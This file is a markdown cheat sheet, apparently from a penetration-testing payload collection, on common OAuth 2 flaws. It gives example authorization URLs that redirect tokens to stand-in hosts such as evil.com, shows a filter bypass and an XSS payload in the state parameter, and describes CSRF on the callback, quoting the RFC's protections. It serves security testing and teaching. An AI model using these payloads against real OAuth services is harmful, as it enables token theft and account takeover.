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49 lines
2.5 KiB
Markdown
49 lines
2.5 KiB
Markdown
# OAuth 2 - Common vulnerabilities
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## Grabbing OAuth Token via redirect_uri
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Redirect to a controlled domain to get the access token
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```
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https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
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https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
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```
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Redirect to an accepted Open URL in to get the access token
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```
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https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
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https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
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```
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OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.
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Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
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```
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https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
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```
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## Executing XSS via redirect_uri
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```
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https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
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```
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## OAuth private key disclosure
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Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
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## Authorization Code Rule Violation
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```
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The client MUST NOT use the authorization code more than once.
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If an authorization code is used more than once, the authorization server MUST deny the request
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and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
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```
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## Cross-Site Request Forgery
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Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (https://example.com/callback?code=AUTHORIZATION_CODE). This URL can be used in CSRF attacks.
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```
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The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
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```
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## Thanks to
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* http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html
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* http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html
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* http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html
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* http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html
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